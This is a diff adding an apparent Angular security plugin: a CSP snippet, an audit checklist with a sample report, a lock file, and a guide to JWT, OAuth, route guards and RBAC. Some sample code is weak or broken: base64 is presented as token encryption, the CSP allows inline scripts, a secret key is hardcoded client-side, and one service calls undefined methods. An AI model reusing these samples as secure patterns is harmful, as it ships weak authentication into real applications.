window.top.location = window.self.location;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 10. Content Security Policy
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!-- index.html -->
|
||||||
|
<meta http-equiv="Content-Security-Policy"
|
||||||
|
content="
|
||||||
|
default-src 'self';
|
||||||
|
script-src 'self' 'unsafe-inline';
|
||||||
|
style-src 'self' 'unsafe-inline';
|
||||||
|
img-src 'self' data: https:;
|
||||||
|
font-src 'self' data:;
|
||||||
|
connect-src 'self' https://api.example.com;
|
||||||
|
frame-ancestors 'none';
|
||||||
|
">
|
||||||
|
```
|
||||||
|
|
||||||
|
## Security Audit Checklist
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Component security audit
|
||||||
|
export class AuditedComponent {
|
||||||
|
// ✅ 1. No innerHTML with user data
|
||||||
|
// ✅ 2. All URLs sanitized
|
||||||
|
// ✅ 3. Form inputs validated
|
||||||
|
// ✅ 4. No eval or Function constructor
|
||||||
|
// ✅ 5. Sensitive data not in template
|
||||||
|
// ✅ 6. File uploads validated
|
||||||
|
// ✅ 7. External resources whitelisted
|
||||||
|
// ✅ 8. CSP headers configured
|
||||||
|
// ✅ 9. HTTPS enforced
|
||||||
|
// ✅ 10. Dependencies audited
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Output Example
|
||||||
|
|
||||||
|
```
|
||||||
|
🔒 Security Audit: UserProfileComponent
|
||||||
|
|
||||||
|
⚠️ Issues Found:
|
||||||
|
|
||||||
|
1. 🔴 CRITICAL: XSS Vulnerability (Line 23)
|
||||||
|
Location: template: `<div [innerHTML]="bio"></div>`
|
||||||
|
Risk: Arbitrary JavaScript execution
|
||||||
|
Fix: Use sanitizer or remove innerHTML
|
||||||
|
|
||||||
|
2. 🟡 HIGH: Unvalidated File Upload (Line 45)
|
||||||
|
Location: onFileUpload(event)
|
||||||
|
Risk: Malicious file upload
|
||||||
|
Fix: Add file type and size validation
|
||||||
|
|
||||||
|
3. 🟡 MEDIUM: Hardcoded API Key (Line 12)
|
||||||
|
Location: apiKey = 'sk_live_123...'
|
||||||
|
Risk: Credential exposure
|
||||||
|
Fix: Use environment variables
|
||||||
|
|
||||||
|
✅ Secure Patterns Detected:
|
||||||
|
- Form validation with Validators
|
||||||
|
- HTTPS enforced
|
||||||
|
- HttpOnly cookies for auth token
|
||||||
|
|
||||||
|
📋 Recommendations:
|
||||||
|
1. Sanitize HTML content
|
||||||
|
2. Validate file uploads
|
||||||
|
3. Move API key to environment config
|
||||||
|
4. Add CSP headers
|
||||||
|
5. Implement rate limiting for API calls
|
||||||
|
|
||||||
|
🎯 Security Score: 6/10 (Medium Risk)
|
||||||
|
After fixes: 9/10 (Low Risk)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Secure every component! 🛡️*
|
||||||
61
plugin.lock.json
Normal file
61
plugin.lock.json
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
{
|
||||||
|
"$schema": "internal://schemas/plugin.lock.v1.json",
|
||||||
|
"pluginId": "gh:EhssanAtassi/angular-marketplace-developer:plugins/angular-security",
|
||||||
|
"normalized": {
|
||||||
|
"repo": null,
|
||||||
|
"ref": "refs/tags/v20251128.0",
|
||||||
|
"commit": "f3b53fcd2b80be7fe0e1843dd43bd1ec4ca9ac6a",
|
||||||
|
"treeHash": "e8f96394b2d1dfef13dcf7e28a354d7d65fb5ce03bec7acc974f5335b9a02dfa",
|
||||||
|
"generatedAt": "2025-11-28T10:10:28.685743Z",
|
||||||
|
"toolVersion": "publish_plugins.py@0.2.0"
|
||||||
|
},
|
||||||
|
"origin": {
|
||||||
|
"remote": "git@github.com:zhongweili/42plugin-data.git",
|
||||||
|
"branch": "master",
|
||||||
|
"commit": "aa1497ed0949fd50e99e70d6324a29c5b34f9390",
|
||||||
|
"repoRoot": "/Users/zhongweili/projects/openmind/42plugin-data"
|
||||||
|
},
|
||||||
|
"manifest": {
|
||||||
|
"name": "angular-security",
|
||||||
|
"description": "Security best practices with XSS prevention, authentication, and OWASP compliance",
|
||||||
|
"version": "1.0.0"
|
||||||
|
},
|
||||||
|
"content": {
|
||||||
|
"files": [
|
||||||
|
{
|
||||||
|
"path": "README.md",
|
||||||
|
"sha256": "6c7bf2567bbefb3ca680cdfdd5713ef1f2ccbd8a2c16b8d97d1cac900746f3f3"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"path": "agents/angular-security-expert.md",
|
||||||
|
"sha256": "e4e6c196077f81426895f937ecf5e1d282f1c6cfa3c7b7dc27e203af9c6d8068"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"path": ".claude-plugin/plugin.json",
|
||||||
|
"sha256": "d19571668756bb0dde98a7e4a0ed476fbda61f6b8501f78e27a8fab747075100"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"path": "commands/audit-security.md",
|
||||||
|
"sha256": "dadfb478688e7dca2d11a638a33e7d7610099e8b2b9087fc1c8cb6559877847b"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"path": "commands/secure-component.md",
|
||||||
|
"sha256": "891e5c4a7d779a9fd6f566a80e478c1c4ab150d35a614772d6f0dfa415458509"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"path": "skills/auth-patterns/SKILL.md",
|
||||||
|
"sha256": "8604ccd24c83007c7484cef2ff46a5b48dc51d3a8f20baaac0a07d3aa87fde11"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"path": "skills/xss-prevention/SKILL.md",
|
||||||
|
"sha256": "6a850bf94a9725e33919c63e21c057890d2029ea81bc3130eb6ff167218bd77a"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"dirSha256": "e8f96394b2d1dfef13dcf7e28a354d7d65fb5ce03bec7acc974f5335b9a02dfa"
|
||||||
|
},
|
||||||
|
"security": {
|
||||||
|
"scannedAt": null,
|
||||||
|
"scannerVersion": null,
|
||||||
|
"flags": []
|
||||||
|
}
|
||||||
|
}
|
||||||
902
skills/auth-patterns/SKILL.md
Normal file
902
skills/auth-patterns/SKILL.md
Normal file
@@ -0,0 +1,902 @@
|
|||||||
|
# Authentication & Authorization Patterns
|
||||||
|
|
||||||
|
Complete guide to secure authentication and authorization in Angular applications.
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
1. [Authentication Basics](#authentication-basics)
|
||||||
|
2. [JWT Implementation](#jwt-implementation)
|
||||||
|
3. [OAuth2 & Social Login](#oauth2--social-login)
|
||||||
|
4. [Token Management](#token-management)
|
||||||
|
5. [Route Guards](#route-guards)
|
||||||
|
6. [Role-Based Access Control](#role-based-access-control)
|
||||||
|
7. [HTTP Interceptors](#http-interceptors)
|
||||||
|
8. [Session Management](#session-management)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Authentication Basics
|
||||||
|
|
||||||
|
### Authentication Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
1. User enters credentials
|
||||||
|
2. Frontend sends to backend
|
||||||
|
3. Backend validates credentials
|
||||||
|
4. Backend generates JWT token
|
||||||
|
5. Frontend stores token securely
|
||||||
|
6. Frontend includes token in API requests
|
||||||
|
7. Backend validates token on each request
|
||||||
|
```
|
||||||
|
|
||||||
|
### Secure Authentication Service
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class AuthService {
|
||||||
|
private readonly TOKEN_KEY = 'auth_token';
|
||||||
|
private currentUserSubject = new BehaviorSubject<User | null>(null);
|
||||||
|
public currentUser$ = this.currentUserSubject.asObservable();
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
private http: HttpClient,
|
||||||
|
private router: Router
|
||||||
|
) {
|
||||||
|
// Initialize user from token on app start
|
||||||
|
this.loadUserFromToken();
|
||||||
|
}
|
||||||
|
|
||||||
|
login(email: string, password: string): Observable<AuthResponse> {
|
||||||
|
return this.http.post<AuthResponse>('/api/auth/login', {
|
||||||
|
email,
|
||||||
|
password
|
||||||
|
}).pipe(
|
||||||
|
tap(response => {
|
||||||
|
this.setSession(response);
|
||||||
|
}),
|
||||||
|
catchError(error => {
|
||||||
|
console.error('Login failed:', error);
|
||||||
|
return throwError(() => error);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
logout(): void {
|
||||||
|
// Clear token
|
||||||
|
localStorage.removeItem(this.TOKEN_KEY);
|
||||||
|
|
||||||
|
// Clear user state
|
||||||
|
this.currentUserSubject.next(null);
|
||||||
|
|
||||||
|
// Redirect to login
|
||||||
|
this.router.navigate(['/login']);
|
||||||
|
|
||||||
|
// Optional: Call backend to invalidate token
|
||||||
|
this.http.post('/api/auth/logout', {}).subscribe();
|
||||||
|
}
|
||||||
|
|
||||||
|
isAuthenticated(): boolean {
|
||||||
|
const token = this.getToken();
|
||||||
|
if (!token) return false;
|
||||||
|
|
||||||
|
// Check if token is expired
|
||||||
|
return !this.isTokenExpired(token);
|
||||||
|
}
|
||||||
|
|
||||||
|
getToken(): string | null {
|
||||||
|
return localStorage.getItem(this.TOKEN_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
private setSession(authResult: AuthResponse): void {
|
||||||
|
// Store token
|
||||||
|
localStorage.setItem(this.TOKEN_KEY, authResult.token);
|
||||||
|
|
||||||
|
// Update current user
|
||||||
|
this.currentUserSubject.next(authResult.user);
|
||||||
|
}
|
||||||
|
|
||||||
|
private loadUserFromToken(): void {
|
||||||
|
const token = this.getToken();
|
||||||
|
if (token && !this.isTokenExpired(token)) {
|
||||||
|
// Decode token to get user info
|
||||||
|
const decoded = this.decodeToken(token);
|
||||||
|
this.currentUserSubject.next(decoded.user);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private isTokenExpired(token: string): boolean {
|
||||||
|
try {
|
||||||
|
const decoded = this.decodeToken(token);
|
||||||
|
const expiryTime = decoded.exp * 1000; // Convert to milliseconds
|
||||||
|
return Date.now() >= expiryTime;
|
||||||
|
} catch {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private decodeToken(token: string): any {
|
||||||
|
try {
|
||||||
|
const payload = token.split('.')[1];
|
||||||
|
return JSON.parse(atob(payload));
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## JWT Implementation
|
||||||
|
|
||||||
|
### JWT Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. // Header
|
||||||
|
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. // Payload
|
||||||
|
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // Signature
|
||||||
|
```
|
||||||
|
|
||||||
|
### JWT Payload
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface JwtPayload {
|
||||||
|
sub: string; // Subject (user ID)
|
||||||
|
email: string; // User email
|
||||||
|
name: string; // User name
|
||||||
|
role: string; // User role
|
||||||
|
iat: number; // Issued at
|
||||||
|
exp: number; // Expiration time
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### JWT Service
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class JwtService {
|
||||||
|
private readonly SECRET_KEY = 'your-secret-key'; // Server-side only!
|
||||||
|
|
||||||
|
// Decode JWT (client-side)
|
||||||
|
decode(token: string): any {
|
||||||
|
try {
|
||||||
|
const parts = token.split('.');
|
||||||
|
if (parts.length !== 3) {
|
||||||
|
throw new Error('Invalid token format');
|
||||||
|
}
|
||||||
|
|
||||||
|
const payload = parts[1];
|
||||||
|
const decoded = atob(payload.replace(/-/g, '+').replace(/_/g, '/'));
|
||||||
|
return JSON.parse(decoded);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to decode token:', error);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if token is expired
|
||||||
|
isExpired(token: string): boolean {
|
||||||
|
const decoded = this.decode(token);
|
||||||
|
if (!decoded || !decoded.exp) return true;
|
||||||
|
|
||||||
|
const expiryTime = decoded.exp * 1000;
|
||||||
|
return Date.now() >= expiryTime;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get expiry date
|
||||||
|
getExpiryDate(token: string): Date | null {
|
||||||
|
const decoded = this.decode(token);
|
||||||
|
if (!decoded || !decoded.exp) return null;
|
||||||
|
|
||||||
|
return new Date(decoded.exp * 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get time until expiry
|
||||||
|
getTimeUntilExpiry(token: string): number {
|
||||||
|
const expiryDate = this.getExpiryDate(token);
|
||||||
|
if (!expiryDate) return 0;
|
||||||
|
|
||||||
|
return expiryDate.getTime() - Date.now();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Token Refresh
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class TokenRefreshService {
|
||||||
|
private refreshInProgress = false;
|
||||||
|
private refreshSubject = new Subject<string>();
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
private http: HttpClient,
|
||||||
|
private authService: AuthService
|
||||||
|
) {
|
||||||
|
// Auto-refresh before expiry
|
||||||
|
this.setupAutoRefresh();
|
||||||
|
}
|
||||||
|
|
||||||
|
refreshToken(): Observable<string> {
|
||||||
|
if (this.refreshInProgress) {
|
||||||
|
// Return existing refresh observable
|
||||||
|
return this.refreshSubject.pipe(
|
||||||
|
filter(token => !!token),
|
||||||
|
take(1)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.refreshInProgress = true;
|
||||||
|
|
||||||
|
return this.http.post<{ token: string }>('/api/auth/refresh', {
|
||||||
|
refreshToken: this.authService.getRefreshToken()
|
||||||
|
}).pipe(
|
||||||
|
tap(response => {
|
||||||
|
this.authService.setToken(response.token);
|
||||||
|
this.refreshInProgress = false;
|
||||||
|
this.refreshSubject.next(response.token);
|
||||||
|
}),
|
||||||
|
catchError(error => {
|
||||||
|
this.refreshInProgress = false;
|
||||||
|
this.authService.logout();
|
||||||
|
return throwError(() => error);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private setupAutoRefresh(): void {
|
||||||
|
// Refresh token 5 minutes before expiry
|
||||||
|
const REFRESH_BEFORE_EXPIRY = 5 * 60 * 1000; // 5 minutes
|
||||||
|
|
||||||
|
interval(60000).pipe( // Check every minute
|
||||||
|
filter(() => this.authService.isAuthenticated()),
|
||||||
|
switchMap(() => {
|
||||||
|
const token = this.authService.getToken();
|
||||||
|
if (!token) return of(null);
|
||||||
|
|
||||||
|
const timeUntilExpiry = this.getTimeUntilExpiry(token);
|
||||||
|
|
||||||
|
if (timeUntilExpiry <= REFRESH_BEFORE_EXPIRY) {
|
||||||
|
return this.refreshToken();
|
||||||
|
}
|
||||||
|
return of(null);
|
||||||
|
})
|
||||||
|
).subscribe();
|
||||||
|
}
|
||||||
|
|
||||||
|
private getTimeUntilExpiry(token: string): number {
|
||||||
|
const decoded = this.decodeToken(token);
|
||||||
|
if (!decoded?.exp) return 0;
|
||||||
|
return (decoded.exp * 1000) - Date.now();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## OAuth2 & Social Login
|
||||||
|
|
||||||
|
### OAuth2 Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
1. User clicks "Login with Google"
|
||||||
|
2. Redirect to OAuth provider (Google)
|
||||||
|
3. User authorizes app
|
||||||
|
4. Provider redirects back with authorization code
|
||||||
|
5. Exchange code for access token
|
||||||
|
6. Use token to get user info
|
||||||
|
7. Create session in your app
|
||||||
|
```
|
||||||
|
|
||||||
|
### Social Login Service
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class SocialAuthService {
|
||||||
|
constructor(
|
||||||
|
private http: HttpClient,
|
||||||
|
private authService: AuthService
|
||||||
|
) {}
|
||||||
|
|
||||||
|
// Google OAuth2
|
||||||
|
loginWithGoogle(): void {
|
||||||
|
const clientId = environment.googleClientId;
|
||||||
|
const redirectUri = `${window.location.origin}/auth/google/callback`;
|
||||||
|
const scope = 'openid email profile';
|
||||||
|
|
||||||
|
const authUrl = `https://accounts.google.com/o/oauth2/v2/auth?` +
|
||||||
|
`client_id=${clientId}&` +
|
||||||
|
`redirect_uri=${encodeURIComponent(redirectUri)}&` +
|
||||||
|
`response_type=code&` +
|
||||||
|
`scope=${encodeURIComponent(scope)}`;
|
||||||
|
|
||||||
|
window.location.href = authUrl;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle OAuth callback
|
||||||
|
handleOAuthCallback(code: string, provider: string): Observable<AuthResponse> {
|
||||||
|
return this.http.post<AuthResponse>('/api/auth/oauth/callback', {
|
||||||
|
code,
|
||||||
|
provider
|
||||||
|
}).pipe(
|
||||||
|
tap(response => {
|
||||||
|
this.authService.setSession(response);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// GitHub OAuth2
|
||||||
|
loginWithGitHub(): void {
|
||||||
|
const clientId = environment.githubClientId;
|
||||||
|
const redirectUri = `${window.location.origin}/auth/github/callback`;
|
||||||
|
|
||||||
|
const authUrl = `https://github.com/login/oauth/authorize?` +
|
||||||
|
`client_id=${clientId}&` +
|
||||||
|
`redirect_uri=${encodeURIComponent(redirectUri)}&` +
|
||||||
|
`scope=user:email`;
|
||||||
|
|
||||||
|
window.location.href = authUrl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### OAuth Callback Component
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Component({
|
||||||
|
template: `<div>Completing login...</div>`
|
||||||
|
})
|
||||||
|
export class OAuthCallbackComponent implements OnInit {
|
||||||
|
constructor(
|
||||||
|
private route: ActivatedRoute,
|
||||||
|
private socialAuth: SocialAuthService,
|
||||||
|
private router: Router
|
||||||
|
) {}
|
||||||
|
|
||||||
|
ngOnInit() {
|
||||||
|
// Get authorization code from URL
|
||||||
|
this.route.queryParams.subscribe(params => {
|
||||||
|
const code = params['code'];
|
||||||
|
const provider = this.route.snapshot.paramMap.get('provider');
|
||||||
|
|
||||||
|
if (code && provider) {
|
||||||
|
this.socialAuth.handleOAuthCallback(code, provider).subscribe({
|
||||||
|
next: () => {
|
||||||
|
this.router.navigate(['/dashboard']);
|
||||||
|
},
|
||||||
|
error: (error) => {
|
||||||
|
console.error('OAuth callback failed:', error);
|
||||||
|
this.router.navigate(['/login'], {
|
||||||
|
queryParams: { error: 'oauth_failed' }
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Token Management
|
||||||
|
|
||||||
|
### Secure Token Storage
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class SecureTokenService {
|
||||||
|
// Option 1: Memory (most secure, lost on refresh)
|
||||||
|
private token: string | null = null;
|
||||||
|
|
||||||
|
setToken(token: string): void {
|
||||||
|
this.token = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
getToken(): string | null {
|
||||||
|
return this.token;
|
||||||
|
}
|
||||||
|
|
||||||
|
clearToken(): void {
|
||||||
|
this.token = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Option 2: localStorage (survives refresh, vulnerable to XSS)
|
||||||
|
class LocalStorageTokenService {
|
||||||
|
private readonly KEY = 'auth_token';
|
||||||
|
|
||||||
|
setToken(token: string): void {
|
||||||
|
localStorage.setItem(this.KEY, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
getToken(): string | null {
|
||||||
|
return localStorage.getItem(this.KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
clearToken(): void {
|
||||||
|
localStorage.removeItem(this.KEY);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Option 3: HttpOnly cookie (most secure, set server-side)
|
||||||
|
// Backend sets: Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
|
||||||
|
// Frontend: Token automatically sent with requests
|
||||||
|
```
|
||||||
|
|
||||||
|
### Token Encryption (Client-Side)
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class EncryptedTokenService {
|
||||||
|
private readonly KEY = 'auth_token';
|
||||||
|
private readonly ENCRYPTION_KEY = 'your-encryption-key'; // From environment
|
||||||
|
|
||||||
|
setToken(token: string): void {
|
||||||
|
const encrypted = this.encrypt(token);
|
||||||
|
localStorage.setItem(this.KEY, encrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
getToken(): string | null {
|
||||||
|
const encrypted = localStorage.getItem(this.KEY);
|
||||||
|
if (!encrypted) return null;
|
||||||
|
|
||||||
|
return this.decrypt(encrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
private encrypt(text: string): string {
|
||||||
|
// Use Web Crypto API
|
||||||
|
// This is a simplified example
|
||||||
|
return btoa(text); // In production, use proper encryption
|
||||||
|
}
|
||||||
|
|
||||||
|
private decrypt(encrypted: string): string {
|
||||||
|
try {
|
||||||
|
return atob(encrypted);
|
||||||
|
} catch {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Route Guards
|
||||||
|
|
||||||
|
### Auth Guard
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export const authGuard: CanActivateFn = (route, state) => {
|
||||||
|
const authService = inject(AuthService);
|
||||||
|
const router = inject(Router);
|
||||||
|
|
||||||
|
if (authService.isAuthenticated()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Redirect to login with return URL
|
||||||
|
return router.createUrlTree(['/login'], {
|
||||||
|
queryParams: { returnUrl: state.url }
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
// Usage in routes
|
||||||
|
export const routes: Routes = [
|
||||||
|
{
|
||||||
|
path: 'dashboard',
|
||||||
|
canActivate: [authGuard],
|
||||||
|
loadComponent: () => import('./dashboard/dashboard.component')
|
||||||
|
}
|
||||||
|
];
|
||||||
|
```
|
||||||
|
|
||||||
|
### Role Guard
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export const roleGuard: CanActivateFn = (route, state) => {
|
||||||
|
const authService = inject(AuthService);
|
||||||
|
const router = inject(Router);
|
||||||
|
|
||||||
|
// Check authentication
|
||||||
|
if (!authService.isAuthenticated()) {
|
||||||
|
return router.createUrlTree(['/login']);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check role
|
||||||
|
const requiredRole = route.data['role'] as string;
|
||||||
|
const userRole = authService.getCurrentUser()?.role;
|
||||||
|
|
||||||
|
if (requiredRole && userRole !== requiredRole) {
|
||||||
|
console.warn(`Access denied. Required role: ${requiredRole}, User role: ${userRole}`);
|
||||||
|
return router.createUrlTree(['/unauthorized']);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Usage
|
||||||
|
{
|
||||||
|
path: 'admin',
|
||||||
|
canActivate: [authGuard, roleGuard],
|
||||||
|
data: { role: 'admin' },
|
||||||
|
loadChildren: () => import('./admin/admin.routes')
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Permission Guard
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export const permissionGuard: CanActivateFn = (route, state) => {
|
||||||
|
const authService = inject(AuthService);
|
||||||
|
const router = inject(Router);
|
||||||
|
|
||||||
|
if (!authService.isAuthenticated()) {
|
||||||
|
return router.createUrlTree(['/login']);
|
||||||
|
}
|
||||||
|
|
||||||
|
const requiredPermissions = route.data['permissions'] as string[];
|
||||||
|
const userPermissions = authService.getCurrentUser()?.permissions || [];
|
||||||
|
|
||||||
|
const hasPermission = requiredPermissions.every(permission =>
|
||||||
|
userPermissions.includes(permission)
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!hasPermission) {
|
||||||
|
return router.createUrlTree(['/forbidden']);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Usage
|
||||||
|
{
|
||||||
|
path: 'users/edit/:id',
|
||||||
|
canActivate: [authGuard, permissionGuard],
|
||||||
|
data: { permissions: ['users.edit', 'users.view'] },
|
||||||
|
component: UserEditComponent
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Can Deactivate Guard
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
export interface CanComponentDeactivate {
|
||||||
|
canDeactivate: () => boolean | Observable<boolean>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const unsavedChangesGuard: CanDeactivateFn<CanComponentDeactivate> = (
|
||||||
|
component
|
||||||
|
) => {
|
||||||
|
return component.canDeactivate
|
||||||
|
? component.canDeactivate()
|
||||||
|
: true;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Component implementation
|
||||||
|
@Component({})
|
||||||
|
export class EditFormComponent implements CanComponentDeactivate {
|
||||||
|
hasUnsavedChanges = false;
|
||||||
|
|
||||||
|
canDeactivate(): boolean {
|
||||||
|
if (this.hasUnsavedChanges) {
|
||||||
|
return confirm('You have unsaved changes. Are you sure you want to leave?');
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Route
|
||||||
|
{
|
||||||
|
path: 'edit/:id',
|
||||||
|
component: EditFormComponent,
|
||||||
|
canDeactivate: [unsavedChangesGuard]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Role-Based Access Control
|
||||||
|
|
||||||
|
### RBAC Service
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface Permission {
|
||||||
|
resource: string;
|
||||||
|
actions: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
interface Role {
|
||||||
|
name: string;
|
||||||
|
permissions: Permission[];
|
||||||
|
}
|
||||||
|
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class RbacService {
|
||||||
|
private roles: Map<string, Role> = new Map([
|
||||||
|
['admin', {
|
||||||
|
name: 'admin',
|
||||||
|
permissions: [
|
||||||
|
{ resource: 'users', actions: ['create', 'read', 'update', 'delete'] },
|
||||||
|
{ resource: 'posts', actions: ['create', 'read', 'update', 'delete'] },
|
||||||
|
{ resource: 'settings', actions: ['read', 'update'] }
|
||||||
|
]
|
||||||
|
}],
|
||||||
|
['editor', {
|
||||||
|
name: 'editor',
|
||||||
|
permissions: [
|
||||||
|
{ resource: 'posts', actions: ['create', 'read', 'update'] },
|
||||||
|
{ resource: 'media', actions: ['create', 'read', 'delete'] }
|
||||||
|
]
|
||||||
|
}],
|
||||||
|
['viewer', {
|
||||||
|
name: 'viewer',
|
||||||
|
permissions: [
|
||||||
|
{ resource: 'posts', actions: ['read'] },
|
||||||
|
{ resource: 'media', actions: ['read'] }
|
||||||
|
]
|
||||||
|
}]
|
||||||
|
]);
|
||||||
|
|
||||||
|
constructor(private authService: AuthService) {}
|
||||||
|
|
||||||
|
hasPermission(resource: string, action: string): boolean {
|
||||||
|
const user = this.authService.getCurrentUser();
|
||||||
|
if (!user || !user.role) return false;
|
||||||
|
|
||||||
|
const role = this.roles.get(user.role);
|
||||||
|
if (!role) return false;
|
||||||
|
|
||||||
|
const permission = role.permissions.find(p => p.resource === resource);
|
||||||
|
return permission?.actions.includes(action) || false;
|
||||||
|
}
|
||||||
|
|
||||||
|
hasRole(roleName: string): boolean {
|
||||||
|
const user = this.authService.getCurrentUser();
|
||||||
|
return user?.role === roleName;
|
||||||
|
}
|
||||||
|
|
||||||
|
hasAnyRole(roles: string[]): boolean {
|
||||||
|
const user = this.authService.getCurrentUser();
|
||||||
|
return roles.includes(user?.role || '');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Permission Directive
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Directive({
|
||||||
|
selector: '[hasPermission]',
|
||||||
|
standalone: true
|
||||||
|
})
|
||||||
|
export class HasPermissionDirective implements OnInit {
|
||||||
|
@Input() hasPermission!: { resource: string; action: string };
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
private rbac: RbacService,
|
||||||
|
private templateRef: TemplateRef<any>,
|
||||||
|
private viewContainer: ViewContainerRef
|
||||||
|
) {}
|
||||||
|
|
||||||
|
ngOnInit() {
|
||||||
|
const { resource, action } = this.hasPermission;
|
||||||
|
|
||||||
|
if (this.rbac.hasPermission(resource, action)) {
|
||||||
|
this.viewContainer.createEmbeddedView(this.templateRef);
|
||||||
|
} else {
|
||||||
|
this.viewContainer.clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Usage
|
||||||
|
<button *hasPermission="{ resource: 'users', action: 'delete' }">
|
||||||
|
Delete User
|
||||||
|
</button>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Role Directive
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Directive({
|
||||||
|
selector: '[hasRole]',
|
||||||
|
standalone: true
|
